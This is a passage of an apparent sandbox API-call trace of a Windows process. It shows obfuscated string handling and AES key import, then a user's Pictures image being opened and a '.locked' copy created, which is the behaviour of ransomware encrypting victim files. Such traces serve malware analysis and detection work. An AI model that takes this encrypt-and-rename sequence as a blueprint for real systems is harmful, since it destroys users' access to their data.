(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0137.037] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0137.037] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.037] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0137.037] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.037] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0137.037] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0137.038] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.038] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0137.038] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0137.038] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.038] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0137.038] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.038] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0137.038] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.038] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0137.038] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0137.039] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0137.039] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0137.039] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0137.039] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.039] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0137.039] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.039] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0137.039] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0137.040] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0137.040] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0137.040] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0137.040] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0137.040] SystemFunction041 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.040] SystemFunction040 (in: Memory=0x8ebffd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebffd4) returned 0x0 [0137.041] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.041] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.042] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.042] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.042] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.042] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0137.043] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396570) returned 1 [0137.043] CryptImportKey (in: hProv=0x4396570, pbData=0x6a9fe34, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84d38) returned 1 [0137.043] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.043] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.044] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.044] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.045] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0137.045] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif")) returned 0x20 [0137.045] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.045] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.045] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.045] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.045] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.046] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.046] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.046] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.046] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.046] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif", lpFilePart=0x0) returned 0x2f [0137.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.046] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0137.047] GetFileType (hFile=0x764) returned 0x1 [0137.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.047] GetFileType (hFile=0x764) returned 0x1 [0137.047] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.047] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0137.047] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.047] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.047] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.047] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked", lpFilePart=0x0) returned 0x36 [0137.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0137.047] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\dDC9HY0gnLu5.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ddc9hy0gnlu5.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0137.048] GetFileType (hFile=0x778) returned 0x1 [0137.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0137.048] GetFileType (hFile=0x778) returned 0x1 [0137.048] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.048] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x6ab54d4 | out: pbBuffer=0x6ab54d4) returned 1 [0137.048] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.048] CryptDuplicateKey (in: hKey=0x8e84d38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84e38) returned 1 [0137.048] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.048] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x4, pbData=0x6ab6790*=0x1, dwFlags=0x0) returned 1 [0137.048] CryptSetKeyParam (hKey=0x8e84e38, dwParam=0x1, pbData=0x6ab675c, dwFlags=0x0) returned 1 [0137.049] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0137.049] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.049] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.050] EtwEventActivityIdControl (in: ControlCode=0x2, 